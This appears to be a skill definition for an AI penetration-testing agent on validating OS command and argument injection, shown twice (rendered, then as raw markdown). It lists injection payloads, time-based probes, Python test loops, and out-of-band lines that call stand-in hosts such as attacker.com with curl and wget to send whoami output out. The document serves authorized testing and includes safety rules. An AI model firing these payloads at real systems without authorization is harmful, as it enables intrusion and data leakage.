Command Injection Testing Skill
Purpose
Validate command injection vulnerabilities by injecting shell metacharacters and OS commands into user-controlled inputs and observing:
- Direct output of command execution in response
- Time-based delays indicating blind command execution
- Out-of-band callbacks (DNS/HTTP) confirming execution
- Error messages revealing command parsing
- File system changes from injected commands
Vulnerability Types Covered
1. Direct OS Command Injection (CWE-78)
Inject commands that execute and return output in the response.
Detection Methods:
- Inject
; id or | whoami and observe command output
- Inject
& dir (Windows) and observe directory listing
- Look for shell command results in response body
Example Payloads:
; id
| whoami
`id`
$(whoami)
& dir
| type C:\windows\win.ini
2. Blind Command Injection - Time-Based (CWE-78)
Inject time-delay commands when output is not reflected.
Detection Methods:
- Inject
; sleep 5 and measure response delay
- Inject
| ping -c 5 127.0.0.1 and measure delay
- Inject
& timeout /t 5 (Windows) and measure delay
Example Payloads:
; sleep 5
| sleep 5
`sleep 5`
$(sleep 5)
& ping -c 5 127.0.0.1
& timeout /t 5 (Windows)
| ping -n 5 127.0.0.1 (Windows)
3. Blind Command Injection - Out-of-Band (CWE-78)
Confirm execution via external DNS/HTTP callbacks.
Detection Methods:
- Inject
; curl http://attacker.com/callback
- Inject
; nslookup attacker.com
- Inject
| wget http://attacker.com/?data=$(whoami)
- Monitor callback server for requests
Example Payloads:
; curl http://collaborator.com/
; nslookup collaborator.com
; wget http://collaborator.com/?d=$(whoami)
| ping collaborator.com
$(curl http://collaborator.com/$(whoami))
4. Argument Injection (CWE-88)
Inject additional arguments to existing commands.
Detection Methods:
- Inject
--help or -v to trigger help/version output
- Inject
--output=/tmp/test to write files
- Inject arguments that modify command behavior
Example Payloads:
--help
--version
-v
--output=/tmp/test
-o /tmp/test
5. Command Injection via Different Contexts
Shell Metacharacters:
| Character |
Unix/Linux |
Windows |
Description |
; |
✓ |
✗ |
Command separator |
| ` |
` |
✓ |
✓ |
| ` |
|
` |
✓ |
& |
✓ |
✓ |
Background (Unix) / Separator (Win) |
&& |
✓ |
✓ |
AND - execute if previous succeeds |
` |
✓ |
✗ |
Command substitution (backticks) |
$() |
✓ |
✗ |
Command substitution |
> |
✓ |
✓ |
Redirect output |
< |
✓ |
✓ |
Redirect input |
\n |
✓ |
✗ |
Newline (command separator) |
Platform-Specific Notes
| Platform |
Shell |
Time Delay |
Callback |
Notes |
| Linux/Unix |
bash/sh |
sleep 5 |
curl, wget, nslookup |
Most metacharacters work |
| Windows |
cmd.exe |
timeout /t 5, ping -n 5 127.0.0.1 |
nslookup, certutil |
Limited metacharacters |
| Windows |
PowerShell |
Start-Sleep -s 5 |
Invoke-WebRequest |
Different syntax |
| macOS |
zsh/bash |
sleep 5 |
curl, nslookup |
Similar to Linux |
Prerequisites
- Target application that executes OS commands with user input
- Identified injection points (parameters, headers, file uploads, filenames)
- For blind testing: controlled callback server (collaborator domain)
- VULNERABILITIES.json with suspected command injection findings if provided
Testing Methodology
Phase 1: Identify Injection Points
Common injection vectors:
- URL parameters passed to system commands
- File upload filenames (often passed to file utilities)
- User-Agent/Referer headers (sometimes logged via shell)
- PDF generators, image processors, file converters
- Network utilities (ping, traceroute, nslookup forms)
- Git/SVN operations, backup tools
- Email functionality (often uses sendmail)
Phase 2: Establish Baseline
- Send normal request; record response content, status, and timing
- Note any error messages or command-related output
- Identify target OS from response headers, errors, or behavior
Phase 3: Execute Command Injection Tests
Direct Command Injection:
payloads = ["; id", "| whoami", "`id`", "$(whoami)"]
for payload in payloads:
resp = get(f"/ping?host=127.0.0.1{payload}")
if "uid=" in resp.text or "root" in resp.text:
status = "VALIDATED"
Time-Based Blind Command Injection:
baseline_time = measure_response("/ping?host=127.0.0.1")
payloads = ["; sleep 5", "| sleep 5", "`sleep 5`", "$(sleep 5)"]
for payload in payloads:
start = time.time()
resp = get(f"/ping?host=127.0.0.1{payload}")
elapsed = time.time() - start
if elapsed > baseline_time + 4.5:
status = "VALIDATED"
Out-of-Band Command Injection:
callback = "unique-id.collaborator.com"
payloads = [
f"; nslookup {callback}",
f"| curl http://{callback}/",
f"`nslookup {callback}`",
]
for payload in payloads:
post("/convert", data={"filename": f"test.pdf{payload}"})
if collaborator_received_dns_or_http():
status = "VALIDATED"
Windows-Specific Testing:
payloads = [
"& dir",
"| type C:\\windows\\win.ini",
"& timeout /t 5",
"| ping -n 5 127.0.0.1",
]
Phase 4: Classification Logic
| Status |
Meaning |
| VALIDATED |
Command output visible, time delay confirmed, or OOB callback received |
| FALSE_POSITIVE |
Input properly escaped/sanitized, no execution indicators |
| PARTIAL |
Some metacharacters blocked but others pass through |
| UNVALIDATED |
Blocked by WAF, error, or insufficient evidence |
Validation Criteria:
- Command output (e.g.,
uid=, root:, directory listings) appears in response
- Response time increases by expected delay duration (±0.5s tolerance)
- DNS/HTTP callback received from target server
- Error messages reveal shell command syntax
Phase 5: Capture Evidence
Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
status, injection_type, cwe
- Baseline request (url, method, status, response_time)
- Test request (url, method, status, response_time, payload)
- Command output snippet or callback details
- Platform detected (Linux/Windows)
Phase 6: Safety Rules
- Detection-only payloads; use benign commands (
id, whoami, hostname, sleep)
- NEVER use destructive commands (
rm, del, format, shutdown)
- NEVER exfiltrate sensitive data; use callbacks only to confirm execution
- Prefer time-based over OOB when possible (less network impact)
- Use minimal sleep durations (5 seconds max)
- Stop immediately if unexpected behavior or server impact detected
Output Guidelines
- Keep responses concise (1-4 sentences)
- Include endpoint, payload, detection method, and impact
Validated examples:
Direct command injection on /ping - ; id payload returned uid=33(www-data) (CWE-78). Full RCE possible.
Blind command injection on /convert - sleep 5 caused 5.2s delay (CWE-78). Time-based blind confirmed.
OOB command injection on /export - nslookup callback received (CWE-78). Command execution confirmed.
Argument injection on /backup - --help revealed rsync options (CWE-88). Command behavior modifiable.
Unvalidated example:
Command injection test incomplete on /api/exec - all metacharacters appear escaped. Evidence: path/to/evidence.json
CWE Mapping
Primary CWEs (DAST-testable):
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- This is THE designated CWE for OS command injection
- Alternate terms: Shell injection, Shell metacharacters, OS Command Injection
- High likelihood of exploit per MITRE
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
- Parent class covering command injection in general
- Includes non-OS command contexts (e.g., mail commands, LDAP)
CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
- Injecting arguments to existing commands
- CanAlsoBe relationship with CWE-78
Parent/Related CWEs (context):
- CWE-74: Improper Neutralization of Special Elements in Output ('Injection') — grandparent class
- CWE-20: Improper Input Validation — related root cause
- CWE-116: Improper Encoding or Escaping of Output — related mitigation failure
Related Attack Patterns:
- CAPEC-88: OS Command Injection
- CAPEC-15: Command Delimiters
- CAPEC-6: Argument Injection
- CAPEC-108: Command Line Execution through SQL Injection (chained)
OWASP Classification:
- OWASP Top Ten 2021: A03 - Injection
Notable CVEs (examples)
- CVE-2024-46256 (Nginx Proxy Manager): Command injection via Let's Encrypt certificate feature (CVSS 9.8).
- CVE-2024-3400 (Palo Alto PAN-OS): Pre-auth command injection in GlobalProtect leading to RCE.
- CVE-2023-1389 (TP-Link Archer AX21): Command injection via web management interface, widely exploited.
- CVE-2023-46747 (F5 BIG-IP): Authentication bypass + command injection leading to RCE.
- CVE-2022-42475 (FortiOS): Heap overflow with command injection in SSL-VPN.
- CVE-2021-22205 (GitLab): Command injection via image processing (ExifTool).
- CVE-2021-44228 (Log4Shell): While JNDI injection, enables command execution via LDAP.
- CVE-2019-19781 (Citrix ADC): Path traversal + command injection leading to RCE.
Safety Reminders
- ONLY test against user-approved targets; stop if production protections trigger
- Use benign, non-destructive commands only (
id, whoami, hostname, sleep, ping)
- NEVER use
rm, del, format, shutdown, or any destructive command
- OOB callbacks only to domains you control
- Prefer time-based detection over command output when possible
- Use input validation, parameterization, and avoid shell execution in mitigations
Reference Implementations
- See
reference/cmdi_payloads.py for command injection payloads by platform and detection type
- See
reference/validate_cmdi.py for command injection validation flow
- See
examples.md for concrete command injection scenarios and evidence formats
Additional Resources
1---2name: command-injection-testing3description: Validate OS Command Injection vulnerabilities including direct command injection, blind command injection via time delays, and out-of-band command execution. Test by injecting shell metacharacters and commands into user-controlled inputs. Use when testing CWE-78 (OS Command Injection), CWE-77 (Command Injection), CWE-88 (Argument Injection), or related command execution vulnerabilities.4---56# Command Injection Testing Skill78## Purpose9Validate command injection vulnerabilities by injecting shell metacharacters and OS commands into user-controlled inputs and observing:10- **Direct output** of command execution in response11- **Time-based delays** indicating blind command execution12- **Out-of-band callbacks** (DNS/HTTP) confirming execution13- **Error messages** revealing command parsing14- **File system changes** from injected commands1516## Vulnerability Types Covered1718### 1. Direct OS Command Injection (CWE-78)19Inject commands that execute and return output in the response.2021**Detection Methods:**22- Inject `; id` or `| whoami` and observe command output23- Inject `& dir` (Windows) and observe directory listing24- Look for shell command results in response body2526**Example Payloads:**27```28; id29| whoami30`id`31$(whoami)32& dir33| type C:\windows\win.ini34```3536### 2. Blind Command Injection - Time-Based (CWE-78)37Inject time-delay commands when output is not reflected.3839**Detection Methods:**40- Inject `; sleep 5` and measure response delay41- Inject `| ping -c 5 127.0.0.1` and measure delay42- Inject `& timeout /t 5` (Windows) and measure delay4344**Example Payloads:**45```46; sleep 547| sleep 548`sleep 5`49$(sleep 5)50& ping -c 5 127.0.0.151& timeout /t 5 (Windows)52| ping -n 5 127.0.0.1 (Windows)53```5455### 3. Blind Command Injection - Out-of-Band (CWE-78)56Confirm execution via external DNS/HTTP callbacks.5758**Detection Methods:**59- Inject `; curl http://attacker.com/callback`60- Inject `; nslookup attacker.com`61- Inject `| wget http://attacker.com/?data=$(whoami)`62- Monitor callback server for requests6364**Example Payloads:**65```66; curl http://collaborator.com/67; nslookup collaborator.com68; wget http://collaborator.com/?d=$(whoami)69| ping collaborator.com70$(curl http://collaborator.com/$(whoami))71```7273### 4. Argument Injection (CWE-88)74Inject additional arguments to existing commands.7576**Detection Methods:**77- Inject `--help` or `-v` to trigger help/version output78- Inject `--output=/tmp/test` to write files79- Inject arguments that modify command behavior8081**Example Payloads:**82```83--help84--version85-v86--output=/tmp/test87-o /tmp/test88```8990### 5. Command Injection via Different Contexts9192**Shell Metacharacters:**93| Character | Unix/Linux | Windows | Description |94|-----------|------------|---------|-------------|95| `;` | ✓ | ✗ | Command separator |96| `|` | ✓ | ✓ | Pipe |97| `||` | ✓ | ✓ | OR - execute if previous fails |98| `&` | ✓ | ✓ | Background (Unix) / Separator (Win) |99| `&&` | ✓ | ✓ | AND - execute if previous succeeds |100| `` ` `` | ✓ | ✗ | Command substitution (backticks) |101| `$()` | ✓ | ✗ | Command substitution |102| `>` | ✓ | ✓ | Redirect output |103| `<` | ✓ | ✓ | Redirect input |104| `\n` | ✓ | ✗ | Newline (command separator) |105106## Platform-Specific Notes107108| Platform | Shell | Time Delay | Callback | Notes |109|----------|-------|------------|----------|-------|110| Linux/Unix | bash/sh | `sleep 5` | `curl`, `wget`, `nslookup` | Most metacharacters work |111| Windows | cmd.exe | `timeout /t 5`, `ping -n 5 127.0.0.1` | `nslookup`, `certutil` | Limited metacharacters |112| Windows | PowerShell | `Start-Sleep -s 5` | `Invoke-WebRequest` | Different syntax |113| macOS | zsh/bash | `sleep 5` | `curl`, `nslookup` | Similar to Linux |114115## Prerequisites116- Target application that executes OS commands with user input117- Identified injection points (parameters, headers, file uploads, filenames)118- For blind testing: controlled callback server (collaborator domain)119- VULNERABILITIES.json with suspected command injection findings if provided120121## Testing Methodology122123### Phase 1: Identify Injection Points124Common injection vectors:125- URL parameters passed to system commands126- File upload filenames (often passed to file utilities)127- User-Agent/Referer headers (sometimes logged via shell)128- PDF generators, image processors, file converters129- Network utilities (ping, traceroute, nslookup forms)130- Git/SVN operations, backup tools131- Email functionality (often uses sendmail)132133### Phase 2: Establish Baseline134- Send normal request; record response content, status, and timing135- Note any error messages or command-related output136- Identify target OS from response headers, errors, or behavior137138### Phase 3: Execute Command Injection Tests139140**Direct Command Injection:**141```python142payloads = ["; id", "| whoami", "`id`", "$(whoami)"]143for payload in payloads:144 resp = get(f"/ping?host=127.0.0.1{payload}")145 if "uid=" in resp.text or "root" in resp.text:146 status = "VALIDATED"147```148149**Time-Based Blind Command Injection:**150```python151baseline_time = measure_response("/ping?host=127.0.0.1")152payloads = ["; sleep 5", "| sleep 5", "`sleep 5`", "$(sleep 5)"]153154for payload in payloads:155 start = time.time()156 resp = get(f"/ping?host=127.0.0.1{payload}")157 elapsed = time.time() - start158 159 if elapsed > baseline_time + 4.5:160 status = "VALIDATED"161```162163**Out-of-Band Command Injection:**164```python165callback = "unique-id.collaborator.com"166payloads = [167 f"; nslookup {callback}",168 f"| curl http://{callback}/",169 f"`nslookup {callback}`",170]171172for payload in payloads:173 post("/convert", data={"filename": f"test.pdf{payload}"})174175if collaborator_received_dns_or_http():176 status = "VALIDATED"177```178179**Windows-Specific Testing:**180```python181payloads = [182 "& dir",183 "| type C:\\windows\\win.ini",184 "& timeout /t 5",185 "| ping -n 5 127.0.0.1",186]187```188189### Phase 4: Classification Logic190191| Status | Meaning |192|--------|---------|193| **VALIDATED** | Command output visible, time delay confirmed, or OOB callback received |194| **FALSE_POSITIVE** | Input properly escaped/sanitized, no execution indicators |195| **PARTIAL** | Some metacharacters blocked but others pass through |196| **UNVALIDATED** | Blocked by WAF, error, or insufficient evidence |197198**Validation Criteria:**199- Command output (e.g., `uid=`, `root:`, directory listings) appears in response200- Response time increases by expected delay duration (±0.5s tolerance)201- DNS/HTTP callback received from target server202- Error messages reveal shell command syntax203204### Phase 5: Capture Evidence205Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):206- `status`, `injection_type`, `cwe`207- Baseline request (url, method, status, response_time)208- Test request (url, method, status, response_time, payload)209- Command output snippet or callback details210- Platform detected (Linux/Windows)211212### Phase 6: Safety Rules213- Detection-only payloads; use benign commands (`id`, `whoami`, `hostname`, `sleep`)214- NEVER use destructive commands (`rm`, `del`, `format`, `shutdown`)215- NEVER exfiltrate sensitive data; use callbacks only to confirm execution216- Prefer time-based over OOB when possible (less network impact)217- Use minimal sleep durations (5 seconds max)218- Stop immediately if unexpected behavior or server impact detected219220## Output Guidelines221- Keep responses concise (1-4 sentences)222- Include endpoint, payload, detection method, and impact223224**Validated examples:**225```226Direct command injection on /ping - ; id payload returned uid=33(www-data) (CWE-78). Full RCE possible.227Blind command injection on /convert - sleep 5 caused 5.2s delay (CWE-78). Time-based blind confirmed.228OOB command injection on /export - nslookup callback received (CWE-78). Command execution confirmed.229Argument injection on /backup - --help revealed rsync options (CWE-88). Command behavior modifiable.230```231232**Unvalidated example:**233```234Command injection test incomplete on /api/exec - all metacharacters appear escaped. Evidence: path/to/evidence.json235```236237## CWE Mapping238239**Primary CWEs (DAST-testable):**240- **CWE-78:** Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')241 - This is THE designated CWE for OS command injection242 - Alternate terms: Shell injection, Shell metacharacters, OS Command Injection243 - High likelihood of exploit per MITRE244245- **CWE-77:** Improper Neutralization of Special Elements used in a Command ('Command Injection')246 - Parent class covering command injection in general247 - Includes non-OS command contexts (e.g., mail commands, LDAP)248249- **CWE-88:** Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')250 - Injecting arguments to existing commands251 - CanAlsoBe relationship with CWE-78252253**Parent/Related CWEs (context):**254- **CWE-74:** Improper Neutralization of Special Elements in Output ('Injection') — grandparent class255- **CWE-20:** Improper Input Validation — related root cause256- **CWE-116:** Improper Encoding or Escaping of Output — related mitigation failure257258**Related Attack Patterns:**259- **CAPEC-88:** OS Command Injection260- **CAPEC-15:** Command Delimiters261- **CAPEC-6:** Argument Injection262- **CAPEC-108:** Command Line Execution through SQL Injection (chained)263264**OWASP Classification:**265- OWASP Top Ten 2021: A03 - Injection266267## Notable CVEs (examples)268- **CVE-2024-46256 (Nginx Proxy Manager):** Command injection via Let's Encrypt certificate feature (CVSS 9.8).269- **CVE-2024-3400 (Palo Alto PAN-OS):** Pre-auth command injection in GlobalProtect leading to RCE.270- **CVE-2023-1389 (TP-Link Archer AX21):** Command injection via web management interface, widely exploited.271- **CVE-2023-46747 (F5 BIG-IP):** Authentication bypass + command injection leading to RCE.272- **CVE-2022-42475 (FortiOS):** Heap overflow with command injection in SSL-VPN.273- **CVE-2021-22205 (GitLab):** Command injection via image processing (ExifTool).274- **CVE-2021-44228 (Log4Shell):** While JNDI injection, enables command execution via LDAP.275- **CVE-2019-19781 (Citrix ADC):** Path traversal + command injection leading to RCE.276277## Safety Reminders278- ONLY test against user-approved targets; stop if production protections trigger279- Use benign, non-destructive commands only (`id`, `whoami`, `hostname`, `sleep`, `ping`)280- NEVER use `rm`, `del`, `format`, `shutdown`, or any destructive command281- OOB callbacks only to domains you control282- Prefer time-based detection over command output when possible283- Use input validation, parameterization, and avoid shell execution in mitigations284285## Reference Implementations286- See `reference/cmdi_payloads.py` for command injection payloads by platform and detection type287- See `reference/validate_cmdi.py` for command injection validation flow288- See `examples.md` for concrete command injection scenarios and evidence formats289290### Additional Resources291- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)292- [PortSwigger OS Command Injection](https://portswigger.net/web-security/os-command-injection)293- [HackTricks Command Injection](https://book.hacktricks.xyz/pentesting-web/command-injection)294- [PayloadsAllTheThings Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)295- [CISA Secure by Design - Eliminating OS Command Injection](https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-os-command-injection-vulnerabilities)